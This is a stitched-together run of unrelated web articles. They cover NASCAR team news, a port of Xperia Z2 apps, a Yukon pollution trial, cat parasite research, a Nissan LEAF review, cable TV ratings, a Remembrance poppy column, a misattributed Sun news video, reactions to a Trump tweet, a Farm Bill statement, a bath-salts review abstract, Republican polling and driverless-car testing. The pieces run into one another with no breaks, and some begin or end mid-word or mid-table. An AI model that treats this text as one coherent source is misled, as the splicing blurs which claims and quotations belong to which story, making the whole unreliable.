“This is our next chapter of Petty racing,” said Richard Petty, co-owner, Richard Petty Motorsports. “We need to provide Bubba, Drew (Blickensderfer) and the rest of the team with the tools necessary to be successful on the track, and I feel strongly this is the best move for RPM, our partners and everyone involved with our team. Chevrolet has been a consistent winner in the Monster Energy NASCAR Cup Series for a long time and we’re proud to be a part of the GM family again. We feel we can immediately win with Chevrolet and our new association with RCR.”
RPM has a long and successful history with General Motors and Chevrolet in NASCAR’s premier series. Some of these winning moments include:
June 1957. Lee Petty’s first General Motors win (Oldsmobile)
February 1959. Lee Petty wins inaugural Daytona 500 (Oldsmobile)
1979 and 1981. Richard Petty wins the Daytona 500 (Oldsmobile/Buick)
1979 and 1980. Richard Petty takes the Chevrolet brand to victory lane six times
(Martinsville, Michigan, Dover, Rockingham, North Wilkesboro and Nashville Fairgrounds)
July 1984. Richard Petty’s 200 th win (Pontiac)
win (Pontiac) October 1996. Richard Petty’s first win as a sole car owner with Bobby Hamilton (Pontiac)
In total, Petty teams have 31 Cup wins with General Motors and Chevrolet.
Bubba Wallace also has historical moments with the manufacturer, including his first NASCAR K&N Pro Series East win and his most recent NASCAR Camping World Truck Series victory this past year at Michigan, his first start in a Chevrolet Silverado.
“I’ve had some great memories with Chevrolet and I’m ready to make a lot more,” added Wallace, Jr. “The entire RPM team is ready for 2018, and now we have a big piece of the puzzle put in place. We’re all eager to start preparing our No. 43 Camaro for 2018, working and creating new ideas with RCR. This is a new journey and we’re all ready to begin it.”
About Richard Petty Motorsports
A performance and marketing driven company, Richard Petty Motorsports, co-owned by NASCAR Hall of Famer Richard Petty and successful business entrepreneur Andrew Murstein, is one of the most recognized brands in all of motorsports. With a history of over 200 wins and business partnerships with national and global leaders, today the race operation fields the famed No. 43 Chevrolet in the Monster Energy NASCAR Cup Series with primary partners Click n’ Close, STP, and the U.S. Air Force.Sony’s latest flagship, the Xperia Z2 has already been launched and users have been waiting for it to hit the shelves. Though the device is not out yet, our devs have been able to pull the full system dump from the Z2. As a result, the goodies from the smartphone are gradually making their way to all.
Just a couple of weeks ago, we shared the beautiful live wallpaper, system dump and stock wallpapers from the Xperia Z2. As you know, Sony devices have always been known for their exquisite multimedia experience. And that’s why, every non-Xperia Android user wants to have them on his/her device. In the past, we have shared the Xperia apps and widget ports for different Android devices several times.
After the system dump leak from this new device, we were all waiting for someone to port the Xperia Z2 Walkman, Album, Movies, home launcher and other apps. Well, the wait is finally over as XDA member Jishnu Sur™, who is also a contributor at DroidViews, has ported the all new Xperia Z2 apps for all Android devices running CM based ROM. Since it is the first release of the port, you should expect a few bugs and FCs here and there. We have reported the bugs to Jishnu and he has promised that they will all be fixed in the upcoming releases.
His port is available as a flashable zip and contains the following apps and widgets:
Xperia Home
Easy Home
Walkman
Movies
Album
Notes
Sketch
Xperia Keyboard
Smart Connect
Xperia Lounge
Social Life News
Tools Widgets
Walkman Widget
Weather Widget
Sony Xperia Z2 Livewallpaper
Screenshots:
Download
Z2_media_apps_rc1.zip
How to Install:
Download and copy the zip file to your device. Reboot device into CWM or TWRP recovery. Backup your current ROM. Flash the zip package. Wipe dalvik cache after installing. Reboot your device.
Enjoy the new Xperia Z2 apps and widgets on your Android device and do share your feedback via comments!
sourceA "joke gone bad" is how one of the stars of the program Gold Rush describes the incident that's landed him in Yukon Territorial Court this week, defending himself and his company on pollution charges.
Dawson City, Yukon, resident Tony Beets was charged after an episode of Gold Rush aired on the Discovery Channel showing gasoline being poured into a dredge pond on Beets' claims on the Indian River, then lit on fire.
With flames blazing in the background, Beets is shown expressing pride in his accomplishment.
He was later charged under the Yukon Waters Act with allowing the stunt to take place and not reporting it.
The man who poured the gas, Mark Favron, testified in court on Tuesday that Oct. 4, 2014 was his last day of work as a welder for Beets and the stunt was his idea.
He said he asked Beets if it was OK, and Beets "didn't give a f--k," Favron told the court.
Favron told the court he then poured about a gallon of gas into the water and another employee lit it on fire.
Favron said he's already been fined $1,725 after pleading guilty at a previous hearing to pouring the gasoline in the water.
"I did it, so there was no reason to fight it," said Favron.
No special attention for reality shows
The Yukon's chief mining inspector, Robert Savard, said his department received a complaint from Environment Canada officials in Yellowknife after the episode aired on the Discovery Channel in late February 2015.
Savard said reality shows set in the Yukon receive no special attention from authorities.
He said the compliance branch in Yukon's Energy, Mines and Resources department occasionally receives complaints about the mining operations shown on television. Sometimes the activities in question are routine operations, others are a concern, Savard said.
Brendan Mulligan, the senior water quality scientist for the Yukon government, testified gasoline contains a number of toxins and carcinogens. He said they can harm humans, other animals and aquatic life.
The trial resumes Wednesday afternoon with closing submissions. Defence lawyer André Roothman called no evidence. He said one of the issues he'll be arguing is that Beets' company Tamarack Inc. should not be liable in this case.
Beets said after court wrapped up Tuesday afternoon that too much is being made of what happened.
"Since I am the man running the show, I guess I should have been a little bit more, and told him not to do it," said Beets.
"However I didn't do that, so here you are in court, so take the fine. Next time, don't go there, It's kind of a joke gone bad, right?"One out of every two pet cats in Europe is infested with some sort of parasite, according to research published last week in the journal Parasites and Vectors. Ear mites and fleas were the most prevalent bugs found outside of the body, while intestinal worms and lung worms were most common inside.
In all, 1,519 cats were examined at veterinary hospitals in France (Maisons-Alfort and Nantes), Italy (Bari and Naples), Austria (Vienna), Belgium (Liège), Hungary (Budapest), Romania (Cluj-Napoca), and Spain (Madrid).
29.6% of cats had parasites on the outside of their bodies (ectoparasites) and 35.1% tested positive for parasites inside the body (endoparasites). 14% were infested with both.
Italian cats were the most flea-bitten. Pet felines in Bari and Naples were 2.5 and 5 times as likely as cats in Budapest, the reference city, to be infested with feline roundworm.
The biggest risk factors for parasitic infection among pet cats were access to the outdoors, number of cats in a household, and the frequency of parasite treatments. So Italy has a large population of crazy cat ladies who allow their pets to run rampant outdoors. Makes sense.
Precise data for cat parasites in the U.S. are scarce, but localized studies in major cities indicate that the rates are lower. If you're wondering about American dogs, their rate of parasitic infestation is between 35 and 55%, with canines in the southeastern states faring the most poorly.
The study highlights the importance of proper hygiene practices for pets. Millions of people become infected with parasites from their cat or dog every ear in the U.S. Already, around one out of every ten people in the U.S. plays host to Toxoplasma gondii, a mind-altering parasite transmitted to humans through cat feces.
Avoid infestation by de-worming your dog or cat on a regular basis, washing your hands frequently, and giving your pet a bath every once and a while. If you have a cat, clean its litter box every day and consider restricting its access to the outdoors.
Source: Beugnet et. al. "Parasites of domestic owned cats in Europe: co-infestations and risk factors." Parasites & Vectors 2014, 7:291 doi:10.1186/1756-3305-7-291OCT 14 2017 BY MARK KANE
The new and improved 2018 Nissan LEAF has now been released in Japan (with the EV arriving in the US and Europe in January), and can now be taken out locally for a spin from most Japanese dealers; fortunately for us, Electrified Journeys Japan has done just that!
Although we appreciate the banter ahead of the actual review, there is a fair bit of chaff to skip over if you want to get to the meat and potatoes of the test drive. So, if you want to cut to the chase – slip to the 3:40 mark for actual in car driving, and one can also find a nice comparison of the new and old LEAF, as well an overview of the features at 30:20.
Overall, the new LEAF is big improvement from the original, as both the styling and abilities of the car have been upgraded.
The 2018 LEAF comes standard with a 40 kWh battery, good for 150 miles/241 km of real-world EPA-estimated range, as well as 110 kW of power for much better acceleration (as noted in the review).
Electrified Journeys Japan gives us a full test drive and overview of the LEAF, touching topics of regen, ProPilot, parking assistant, interior and more.
Overall the new LEAF is found to be fun to drive and full of safety features, but the reviews ends with the insight that a lot of automated driving features will not work in situations when we would need them most (heavy rain for example).
The review also laments that while 150 miles is good (great for Japan), more would be better. For those who agree with that notion, Nissan will launch a 60 kWh/~225 mile (362 km) version later next year as a 2019 model year car – so it might be worth the wait.
“Nissan finally got the new Leaf cleared for licensing and I got a chance to test drive it. I go into quite a bit of detail in this video because the new Leaf has changed so much from the previous model. I hope you enjoy this and it helps you if you are thinking of buying an EV.”
Hat tip to Adrian W!NETWORK FINALS: BACHELOR IN PARADISE and the rerun of TO TELL THE TRUTH swapped 0.1 in final numbers, with BACHELOR up and TRUTH down.
Broadcast Official Nationals Program Ratings Chart
CABLE HIGHLIGHTS: USA’s WWE telecast was again on top of Monday cable at 1.17/1.16/1.15, compared to last week’s 1.21/1.14/1.10. On VH1, LOVE & HIP-HOP gained 0.02 to 1.08, and BALLER WIVES was down 0.03 to 0.60. MTV’s TEEN MOM fell 0.13 to 0.65, and SIESTA KEY was up 0.04 to 0.29. On Bravo, REAL HOUSEWIVES OF ORANGE COUNTY rose a tenth to 0.64, and REAL HOUSEWIVES OF DALLAS ticked up to 0.27. On TBS, AMERICAN DAD climbed 0.02 to 0.52, and PEOPLE OF EARTH ticked up to 0.31. Comedy Central’s THE DAILY SHOW had an unusual slot in the Top 10 at 0.47. It was CNN on top in cable news, with ANDERSON COOPER 360 at 0.41/1.8M, above MSNBC’s RACHEL MADDOW SHOW at 0.40/3.1M, and Fox News’s TUCKER CARLSON TONIGHT at 0.30/2.9M. On HGTV, TINY HOUSE BIG LIVING was at 0.34/0.29, compared to last week’s 0.31/0.27, HOUSE HUNTERS was at 0.32, and HOUSE HUNTERS INTL was up 0.04 to 0.32. AMC’s PREACHER ticked up to 0.32, and LOADED (which has been pushed out of primetime) was down 0.02 to 0.02/127K. Discovery’s VEGAS RAT RODS dropped 0.04 to 0.28. On ID, THE CORONER dipped 0.02 to 0.26, and GONE ticked up to 0.25. On Spike, COPS was at 0.24, compared to last week’s 0.30/0.28, and its GONE was at 0.18. History’s PAWN STARS was at 0.23. Food Network’s I HART FOOD fell 0.05 to 0.21. On A&E, INTERVENTION shed 0.02 to 0.19, and ESCAPING POLYGAMY was down 0.07 to 0.18. TNT’s WILL gained 0.02 to 0.10.
Top 50 Original Cable Telecasts with Demographic Detail
Top 150 Original Cable Telecasts
To search for a show: type Ctrl-F and type your show title in the search box.
Top 150 Original Cable Telecasts: Monday August 28, 2017 P18-49 P2+ Rank Program Net Start Mins Rating (000s) 1 WWE ENTERTAINMENT USA NETWORK 9:00 PM 60 1.17 3,364 2 WWE ENTERTAINMENT USA NETWORK 10:00 PM 68 1.16 3,163 3 WWE ENTERTAINMENT USA NETWORK 8:00 PM 60 1.15 3,384 4 LOVE & HIP HOP HLLYWD 4 VH1 8:00 PM 60 1.08 2,143 5 TEEN MOM II SSN8 MTV 9:00 PM 61 0.65 1,290 6 REAL HOUSEWIVES OF OC BRAVO 9:00 PM 61 0.64 1,765 7 BALLER WIVES VH1 9:00 PM 60 0.60 1,269 8 AMERICAN DAD TBS TBS NETWORK 10:00 PM 30 0.52 1,002 9 DAILY SHOW COMEDY CENTRAL 11:00 PM 31 0.47 1,203 10 ANDERSON COOPER 360 CNN 8:00 PM 60 0.41 1,823 11 RACHEL MADDOW SHOW MSNBC 9:00 PM 60 0.40 3,101 12 CNN TONIGHT CNN 10:00 PM 60 0.37 1,477 13 CUOMO PRIMETIME CNN 9:00 PM 60 0.35 1,528 14 TINY HOUSE BIG LIVING HOME AND GARDEN TV 9:00 PM 30 0.34 1,459 15 HOUSE HUNTERS HOME AND GARDEN TV 10:00 PM 30 0.32 1,846 16 HOUSE HUNTERS INTL HOME AND GARDEN TV 10:30 PM 30 0.32 1,626 17 PREACHER AMC 9:00 PM 64 0.32 898 18 ERIN BURNETT OUTFRONT CNN 7:00 PM 60 0.31 1,420 19 PEOPLE OF EARTH TBS NETWORK 10:30 PM 30 0.31 669 20 CNN TONIGHT CNN 11:00 PM 60 0.31 1,195 21 TUCKER CARLSON TONIGHT FOX NEWS CHANNEL 8:00 PM 60 0.30 2,863 22 FIVE, THE FOX NEWS CHANNEL 9:00 PM 60 0.30 2,664 23 YOUR WORLD W/NEIL CAVUTO FOX NEWS CHANNEL 4:00 PM 60 0.30 1,970 24 LAST WORD W/ L. ODONNELL MSNBC 10:00 PM 60 0.29 2,530 25 TINY HOUSE BIG LIVING HOME AND GARDEN TV 9:30 PM 30 0.29 1,479 26 SIESTA KEY MTV 10:01 PM 61 0.29 543 27 HANNITY FOX NEWS CHANNEL 10:00 PM 60 0.29 2,672 28 SITUATION ROOM CNN 6:00 PM 60 0.28 1,370 29 VEGAS RAT RODS DISCOVERY CHANNEL 10:02 PM 61 0.28 785 30 TV1 ORIGINAL MOVIE: WHEN LOVE KILLS TV ONE 9:00 PM 120 0.28 759 31 MYSTICONS NICKELODEON 4:00 PM 30 0.28 1,027 32 REAL HOUSEWIVES OF DALLAS BRAVO 10:01 PM 60 0.27 801 33 PARDON THE INTERRUPTION ESPN2 5:30 PM 30 0.26 591 34 LEAD WITH JAKE TAPPER CNN 4:00 PM 60 0.26 1,422 35 CNN NEWSROOM CNN 3:00 PM 60 0.26 1,358 36 SITUATION ROOM CNN 5:00 PM 60 0.26 1,504 37 CORONER: I SPEAK FOR THE INVESTIGATION DISCOVERY 10:00 PM 60 0.26 1,098 38 SPORTSCENTER EARLY L ESPN 6:00 PM 60 0.26 542 39 FIRST TAKE L: N/A ESPN 10:00 AM 120 0.25 509 40 GONE INVESTIGATION DISCOVERY 9:00 PM 60 0.25 1,154 41 COPS (O) SPIKE TV 8:00 PM 30 0.24 807 42 SR/TROPICAL STORM HARVEY FOX NEWS CHANNEL 11:00 PM 60 0.24 1,560 43 SHEPARD SMITH REPORTING FOX NEWS CHANNEL 3:00 PM 60 0.24 1,717 44 SPORTSCENTER LATE L ESPN 11:00 PM 60 0.24 497 45 PAWN STARS HISTORY 10:33 PM 30 0.23 1,186 46 SPORTSCENTER AM L ESPN 12:00 PM 60 0.23 447 47 SPECIAL RPT W/BRET BAIER FOX NEWS CHANNEL 6:00 PM 60 0.23 2,318 48 MLB MON NIGHT – LATE L: INDIANS/YANKEES ESPN 7:00 PM 177 0.23 750 49 STORY, THE FOX NEWS CHANNEL 7:00 PM 60 0.22 2,342 50 ALL IN W/ CHRIS HAYES MSNBC 8:00 PM 60 0.22 1,984 51 SR/TROPICAL STORM HARVEY FOX NEWS CHANNEL 12:00 AM 60 0.22 1,083 52 FOX NEWS SPECIALISTS, THE FOX NEWS CHANNEL 5:00 PM 60 0.21 1,779 53 HARDBALL WITH C. MATTHEWS MSNBC 7:00 PM 60 0.21 1,831 54 HAPPENING NOW FOX NEWS CHANNEL 11:00 AM 60 0.21 1,640 55 OUTNUMBERED FOX NEWS CHANNEL 12:00 PM 60 0.21 1,740 56 I HART FOOD FOOD NETWORK 10:00 PM 30 0.21 626 57 CNN NEWSROOM CNN 2:00 PM 60 0.20 1,189 58 FOX AND FRIENDS FOX NEWS CHANNEL 8:00 AM 60 0.20 1,896 59 AMERICAS NEWSROOM FOX NEWS CHANNEL 9:00 AM 60 0.20 1,964 60 WEATHER CENTER LIVE THE WEATHER CHANNEL 9:00 PM 60 0.20 826 61 FOX AND FRIENDS FOX NEWS CHANNEL 7:00 AM 60 0.20 1,565 62 HAPPENING NOW FOX NEWS CHANNEL 1:00 PM 60 0.19 1,537 63 WEATHER CENTER LIVE THE WEATHER CHANNEL 7:00 PM 60 0.19 809 64 INTERVENTION CA A&E NETWORK 9:00 PM 60 0.19 497 65 WEATHER CENTER LIVE THE WEATHER CHANNEL 8:00 PM 60 0.19 834 66 CNN NEWSROOM CNN 10:00 AM 60 0.19 1,157 67 SPORTSCENTER PRIME L ESPN 9:57 PM 63 0.19 516 68 AMERICAS NEWS HQ FOX NEWS CHANNEL 2:00 PM 60 0.19 1,483 69 BEAT W/ARI MELBER MSNBC 6:00 PM 60 0.19 1,469 70 NFL LIVE L ESPN2 1:00 PM 60 0.18 344 71 GONE: THE FORGOTTEN WOMEN SPIKE TV 8:30 PM 62 0.18 496 72 ESCAPING POLYGAMY A&E NETWORK 10:00 PM 63 0.18 565 73 AMERICAS NEWSROOM FOX NEWS CHANNEL 10:00 AM 60 0.18 1,679 74 11TH HOUR W/B. WILLIAMS MSNBC 11:00 PM 60 0.18 1,743 75 WEATHER CENTER LIVE THE WEATHER CHANNEL 10:00 PM 60 0.18 802 76 AROUND THE HORN ESPN2 5:00 PM 30 0.18 384 77 CNN NEWSROOM CNN 9:00 AM 60 0.17 1,003 78 INSIDE POLITICS CNN 12:00 PM 60 0.17 1,032 79 LEAH REMINI: SCIENTLGY FL A&E NETWORK 8:30 PM 17 0.17 541 80 SPORTSCENTER 12AM L ESPN 12:00 AM 60 0.17 344 81 WEATHER CENTER LIVE THE WEATHER CHANNEL 5:00 PM 60 0.17 905 82 NEXO KNIGHTS THE CARTOON NETWORK 7:00 AM 30 0.17 487 83 VICE NEWS TONIGHT HBO PRIME 7:32 PM 24 0.17 485 84 WEATHER CENTER LIVE THE WEATHER CHANNEL 11:00 AM 60 0.17 998 85 AT THIS HOUR CNN 11:00 AM 60 0.17 1,093 86 TRANSFORMERS:REVENGE OF: TRANSFORMERS:REVENGE OF HBO PRIME 8:00 PM 150 0.16 398 87 FOX AND FRIENDS FOX NEWS CHANNEL 6:00 AM 60 0.16 1,153 88 WOLF CNN 1:00 PM 60 0.16 1,098 89 NEW DAY CNN 7:00 AM 60 0.16 796 90 MTP DAILY MSNBC 5:00 PM 60 0.15 1,248 91 WEATHER CENTER LIVE THE WEATHER CHANNEL 12:00 PM 60 0.15 955 92 HIGHLY QUESTIONABLE ESPN2 4:30 PM 30 0.15 262 93 MORNING JOE: N/A MSNBC 6:00 AM 180 0.15 1,085 94 TENNIS: US OPEN PRIME L: N/A ESPN2 7:00 PM 429 0.15 608 95 WEATHER CENTER LIVE THE WEATHER CHANNEL 4:00 PM 60 0.15 943 96 NEW DAY CNN 8:00 AM 60 0.15 872 97 PAUL FINEBAUM SHOW L ESPN2 2:00 PM 60 0.14 244 98 SPORTSCENTER 1AM L ESPN 1:00 AM 60 0.14 289 99 MAN V FOOD TRAVEL CHANNEL 9:30 PM 30 0.14 377 100 MAN V FOOD TRAVEL CHANNEL 9:00 PM 30 0.14 389 101 MURDER LACI PETERSON FL A&E NETWORK 8:47 PM 13 0.14 462 102 SPORTSCENTER AM L ESPN 9:00 AM 60 0.14 284 103 KEEPING UP WITH THE JONES HBO PRIME 5:40 PM 105 0.14 285 104 WEATHER CENTER LIVE THE WEATHER CHANNEL 6:00 PM 60 0.13 764 105 WEATHER CENTER LIVE THE WEATHER |
rels and who preferred Trafalgar Day to any other warlike commemoration, was bemused.
Many years later, I found myself visiting Washington DC in late October or early November and called on my brother, who was ostentatiously wearing a Canadian Remembrance Poppy (which looks a lot more like the actual flower than the English one, with its absurd leaf). I laughed inwardly at the transformation, and later strolled round to the British Embassy in Massachusetts Avenue, to obtain an English one.
But, having lived through long years when many fashionable people in politics and the media disdained the Poppy altogether, I am puzzled by the conformism that now seems to apply to it, and which began in the New Labour era. It reminds me of the odd transformation,of the Labour Party, hostile to the Polaris and Trident nuclear deterrent when it was actually some use, militantly in favour of it long after its purpose has gone. The position is so incoherent and and so fervent that I can't help wondering what they really think.
A few weeks ago, on October 16th, I noticed a TV news reporter already wearing a Poppy and thought it absurd so long before the actual Day of Remembrance. Now I see that the actress Sienna Miller, about whose life and opinions I know and care absolutely nothing, has been upbraided on Twitter and by some MP for not wearing a Poppy on a television chat show which I did not watch.
According to Mr Rupert Murdoch’s ‘Sun’ newspaper: ‘SIENNA Miller has been blasted for failing to wear a poppy on Graham Norton's BBC chat show. The actress, 33, was a guest with Burnt co-star Bradley Cooper who did display the red flower of remembrance.
Norton, Dame Maggie Smith and Alex Jennings also paid respects on their lapels. Twitter fans slammed Miller and the Beeb over Friday's show. TheShowOff85 said: "Why is Sienna Miller not wearing a Poppy? Has she refused? If yes why is she allowed on the show? Disrespectful cow." Kcthelegend asked: "Why was she allowed on without one" and CJLeader68 wrote: "Shame Sienna couldn't be a role model & wear a poppy.
" Tory former defence minister Sir Gerald Howarth stormed: "There should be no excuse for not wearing one so we can honour the war dead." The BBC said guests decide whether to wear one.
A source close to Sienna said: "She was wearing the poppy pin but it was taken off as she went on air as it was pulling on the clothes."
Well, I find the remarks: ‘Why is she allowed on the show?’ and ‘There should be no excuse for not wearing one’, dispiriting and sad.
I am now and always will be moved by Remembrance Day. As each year passes I think more of the pain and the loss, and less of the splendour and ceremony. I describe, in my book ‘The Rage Against God’, the impossibly gloomy, soaking services I used to attend as a schoolboy, when almost everyone present around the granite cross in the freezing drizzle had personally seen the snarling face of war, and many had recently lost people dear to them.
But I am also aware of the spirit in which the men went to those wars, and the spirit in which those who survived returned, and it was not a spirit of bombastic super-patriotism, nor of intolerance.
I think they would say and think ’If you don’t want to, you don’t have to. It was the other lot, the ones we were fighting, who insisted on compulsory contributions to the boxes they rattled, and demanded an outward show of support for political conformity’.
In the end, what else was it they were fighting for, other than the freedom not to be pushed around and told what to wear and what to think? If people are going to be bullied into wearing poppies, then the time may come when people of conscience may prefer not to wear them. What memory, exactly, do we seek to honour? That of the noisy politicians, who made those wars, and the noisy newspapers that supported the policies that led to them, or that of the men who, as is inscribed on several moving memorials (does anyone know who wrote them?) all over what used to be the Empire ‘left all that was dear to them, endured hardness, faced danger and finally passed out of the sight of men, by the path of duty and self-sacrifice, giving up their own lives that others might live in freedom. Let those who come after see to it that their names be not forgotten’.
As I read these words I see a lighted doorway in a small terraced house on an autumn evening, and a slight man in his twenties, in army uniform, embracing his wife and small children as he sets out on a journey from which he will not return. It does not seem to me to be an occasion for telling other people what they should feel, think or wear.British newspaper The Sun's website published on Saturday an article claiming that footage from an attack inside Israel – at a checkpoint in the town of Beitar Illit – showed a Moroccan teen ISIS supporter stabbing a police officer at a railway station in Hannover, Germany. The Sun later deleted the article.
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The Hanover attack, which resulted in the 15-year-old girl's arrest, was reminiscent of attacks on security personnel and civilians in Israel.
The 15-year-old was living for some time on the border between Syria and Turkey and was trying to join her friends in the so called Islamic State according to reports. She was detained by Turkish authorities and deported back to her mother, who lives in the German city.
British Sun newspaper used stills of a terror attack in Israel to describe a terror attack in Germany
The teenager had a German passport and a criminal past, having been involved in theft and assaults.
The Sun report, which is based on a report by Breitbart UK, claimed that the teenage girl went up to a policeman in the Hannover Central Railway Station, and that "the girl can be seen fishing a giant kitchen knife out of her purse and stabbing the officer while he examined her identity documents."
Mistaken video posted by The Sun (קרדיט : רויטרס)
X
The only problem was the screenshot was actually taken from security camera footage of an Israeli policeman being stabbed in Beitar Illit, not of a 15-year-old girl stabbing a German policeman inside the Hannover Central Railway Station.
The German officer in Hannover was reportedly stabbed in the neck before other police officers ended the attack.
"While the officer turned to inspect the girl's ID, with lightning speed she stabbed him," said one of the officer's colleagues to The Sun.
"He didn’t have a chance to defend himself. It was a miracle he survived," the colleague continued.President Donald Trump totally chose the wrong word to describe his meeting with victims of the Las Vegas massacre.
Trump tweeted on Thursday morning that it was “so wonderful” to greet some of those injured by a heavily armed gunman who opened fire on the crowd at Sunday’s Route 91 Harvest Festival. Nearly 60 people were killed and more than 500 were hurt.
So wonderful to be in Las Vegas yesterday and meet with people, from police to doctors to the victims themselves, who I will never forget! — Donald J. Trump (@realDonaldTrump) October 5, 2017
Trump visited Las Vegas on Wednesday. He also met with police officers and doctors who responded to the attack. He said the trip was something he “will never forget.”
Trump’s use of “wonderful” did not go down well on Twitter. Many people called him out for “making a tragedy sound like good news.”
The president’s ham-handed description comes after Elaine Duke, the acting secretary of homeland security, called the federal response to Hurricane Maria tearing into Puerto Rico a “good news story.”
A sampling of responses to Trump’s “wonderful” tweet are below:
Why is everything you do "wonderful" and great. What happened in Vegas and Puerto Rico was disasters! Nothing wonderful about them!! — Ed Krassenstein (@EdKrassen) October 5, 2017
Heartbreaking would have been a better word, but..... it's you so my every expectation has been lowered to Dotard level. — Casa Chi Chi 🌹 (@CasaChichi) October 5, 2017
He has no concept of empathy & people other than himself, just because they kiss his ass because he's president it's "wonderful" — David Amoyal (@DavidAmoyal) October 5, 2017
How can it be Wonderful to face a catastrofic situation? — Göte W. Larsson (@GWLarsson) October 5, 2017
Thank you for not throwing anything at them. Nice show of restraint — boys are stupid (@chicabella) October 5, 2017
I don’t think wonderful is the right word 😿 Better brush up on your vocabulary 😳 — VA Cat Lady (@VACatLady) October 5, 2017
Positivity at its worst form — Firdaus Amri (@FirdsAmri) October 5, 2017
Wonderful? This is and was a tragedy — advocate (@brooklynspecial) October 5, 2017
So wonderful? Try... I wish I had met all the wonderful, inspiring, brave folks in Las Vegas yesterday, under different circumstances. — Carly🍁🎃🍂 (@ondinemonet) October 5, 2017
It was “wonderful”? Please have your people explain what words are (the best words) and which ones are appropriate for certain situations. — Justin Smith (@74IrishDaddy) October 5, 2017
Are you not aware that you are making unspeakable tragedy sound like good news? — DavidLaw (@DavidLawTennis) October 5, 2017
Waiting for Trump to announce the 1st Annual Hunger Games any day now... — Devin Duke (@sirDukeDevin) October 5, 2017
Bloke's beyond.
wonderful
adjective
inspiring delight, pleasure, or admiration; extremely good; marvellous. — Gareth Davies (@GD10) October 5, 2017"I'm extremely disappointed that Nancy Pelosi and Democratic leadership have at the last minute chosen to derail years of bipartisan work on the Farm Bill and related reforms. This bill was far from perfect, but the only way to achieve meaningful reform, such as Congressman Southerland's amendment reforming the food stamp program, was in conference. "I strongly supported the Southerland amendment which built on successful welfare reforms that have worked in the past to give states more flexibility and encourage self-sufficiency by increasing workforce participation among those enrolled in the SNAP program. I commend Chairman Frank Lucas and the House Agriculture Committee for their efforts, and am sorry that Democrats shamefully chose politics over progress and meaningful reform."
I can't decide if the funniest thing about this statement is that Eric Cantor is blaming the surprise defeat of the Farm Bill on Nancy Pelosi even though she publicly warned Republicans not to count on Democrats, or if the funniest thing is that House Majority Leader Eric Cantor actually believes that blaming Democrats for defeating a bill loaded with unpopular cuts to food assistance programs for the poor will make Republicans look better.Really, however you look at it, it looks like a serious case of Republifail™.A new group of recreational drugs, popularly known as "bath salts", "plant feeders" or "plant food", has recently emerged in numerous countries. Although various products are labeled with warnings "not for human consumption" or "not tested for hazards or toxicity", they are intended to produce a high similar to that obtained with illegal stimulants, such as MDMA, methamphetamine or cocaine. The active compounds in "bath salts" are cathinone derivatives continuously developed and modified by drug designers to avoid detection or legal scrutiny. Around 2010 the most prevalent were mephedrone (4-methylmethcathinone) and MDPV (3,4-methylenedioxypyrovalerone). This review surveys the current state of knowledge regarding the pharmacotoxicological properties of synthetic cathinones, the prevalence and pattern of their use. Special emphasis is given to the negative consequences of using these products including, among others, cardiovascular, psychiatric and neurologic symptoms, dehydration, rhambdomyolysis, renal and liver failure. Case reports on synthetic cathinones-related fatalities are also presented.
Copyright © 2013 Elsevier Ireland Ltd. All rights reserved.WASHINGTON -- The tone on a conference call with Republican pollsters Monday, discussing Mitt Romney's chances of winning over key swing voters, was rather gloomy.
Former Mississippi Gov. Haley Barbour convened the call with reporters for Resurgent Republic, a conservative organization that focuses on polling and survey groups. And at the outset, pollster Ed Goeas made sure to set expectations low.
"In terms of blue collar voters, and again I would add one thing. We are not looking for a majority of these voters, not looking for a plurality. But we are looking to see if there are a handful you can peel off," Goeas said.
The voters who took part in the focus groups -- two conducted by Goeas in Cleveland, and two in Richmond, Va., by pollster Linda DiVall -- voted for Obama in 2008.
DiVall, who spoke to a group of women between 50 and 64 years old, and another between 30 and 49 years old, noted that these voters are "a very very difficult group to turn around."
But as she explained why, it became clear that not much came out of the groups that augured well for Romney's chances over the last month of the presidential campaign. In short, DiVall noted, women who voted for Obama in 2008 but had showed openness to voting for someone else have at this point been won back over by the president.
"They used very negative words to describe the state of the economy, but President Obama escapes responsibility for this," DiVall said. "Women still want to move toward the future and say that Obama is not the one singularly responsible for the economy … They're very much buying into the advertising mantra of the [Obama] campaign."
Romney's "biggest obstacle" with these voters, DiVall said, is "a connection to understanding what these voters have been living through the last four years, and having policies in place to address that."
"They give him credit for being a business man, and they think he will be cold-eyed in how he approaches that. But the challenge for Governor Romney is to relate to these people personally and provide some inspiration that their quality of life will improve," she said.
DiVall continued that "these voters feel that Romney has not spelled out his economic plan," and she attributed this to Romney's financial disadvantage from April through late August, when he was unable to spend much of the money he had raised because it could only be spent on the general election.
Barbour, who said little for the first half of the call, eventually sounded off, expressing frustration about the way that Romney was unable to counter the Obama campaign during the spring and summer.
"The Obama people spent a whole lot more money to try to define and disqualify Romney than the Romney people did to introduce Romney. If you're not observing that all that carpet bombing from April to August was largely unhindered by the Romney campaign, I think you miss a big point," Barbour said.
Former Gov. Barbour also blamed the media to some degree, arguing that there have been recent economic developments that have received no attention from the press. Health insurance premiums have gone up $3,000 per family despite Obama's promise that they would go down $2,500, Barbour said, and median family income has gone down more since the recession ended in June 2009 than it did during the recessionary period that began in December 2007.
"I don't believe anybody on the call carried that. It's very hard to find in the general news media," Barbour said.
But the next minute, he suggested that the Romney campaign should be doing more to highlight information like that.
"If you want to ask what would I do, I would try to get some of that in front of the public," Barbour said.
He said there is time for Romney to overcome the challenges he faces in convincing persuadable voters to come to his side, both in the three debates this month with Obama, and through campaigning on the stump and TV advertising.The Consumer Electronics Show in Las Vegas is quickly becoming the "it" place to launch driverless car technology. This week at CES, Ford announced it will triple its fleet of autonomous cars, GM unveiled a partnership with Lyft and BlackBerry subsidiary QNX showed off new software to connect all those new cars to each other and to the streets of the future.
But the funny thing about that future is, in many ways, it's already here.
Driverless cars aren't some far-fetched technological notion our children will have to grapple with. The Tesla Model S has an auto pilot option that allows drivers to hand over nearly full control of the vehicle to a computer. The Google car has now travelled more than two million kilometres. The reality is, semi-autonomous cars are already among us. With each kilometre they travel, they gather more data, make more decisions and become more autonomous.
Roads that talk to lights that talk to cars
So, as the technology grows in leaps and bounds, the issue is where do we test them?
Right now, companies really only have two options: test on a closed track, or head to California, where rules governing the road testing of driverless cars are already in place. But a long way from the lights and glamour of CES, a small city in southern Ontario is aiming to take on Silicon Valley and test cars in the heart of Canada's automotive industry.
Testing for autonomous vehicles like the Google Car is mostly done in Silicon Valley, but Stratford, Ont., wants a piece of the action. (Elijah Nouvelage/Reuters)
